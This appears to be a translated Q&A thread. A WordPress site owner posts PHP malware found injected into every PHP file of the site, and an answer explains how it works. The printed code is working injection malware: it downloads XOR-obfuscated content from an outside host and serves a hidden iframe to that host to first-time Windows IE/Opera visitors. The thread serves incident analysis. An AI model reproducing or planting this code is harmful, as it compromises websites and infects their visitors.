任何人都可以解释这段代码到底在做什么吗?好像黑客已经通过wordpress安装将其添加到我的每个php文件中。我知道它正在打开一个连接并从该URL下载文件。还有什么吗?
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
$codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
答案 0 :(得分:4)
if (!defined('frmDs')){
define('frmDs' ,1);
这检查frmDs变量是否存在,我认为是为了防止脚本执行两次(如果你定义相同的函数两次会产生错误)。
在函数定义之后,执行的第一个代码块是 $ ua = $ _SERVER ['HTTP_USER_AGENT']; if(preg_match('/ Windows /',$ ua)&amp;&amp; preg_match('/ MSIE | Opera /',$ ua)){ 使用error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
在上面的代码块中,它检查用户是否具有cookie __utmfr,如果没有设置,则将frm_getfrm()的结果打印到Web输出。
换句话说,如果用户第一次访问该网站,他会在HTML页面的开头获得frm_getfrm()的结果。
功能frm_getfrm()很复杂,但在一天结束时,如果您的托管服务器无法连接,它会尝试使用外部网站http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js 中的内容返回隐藏的IFRAME到外部服务器。 如果您的服务器可以连接到外部服务器,则该脚本使用PHP内置函数下载http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js的内容并将其返回。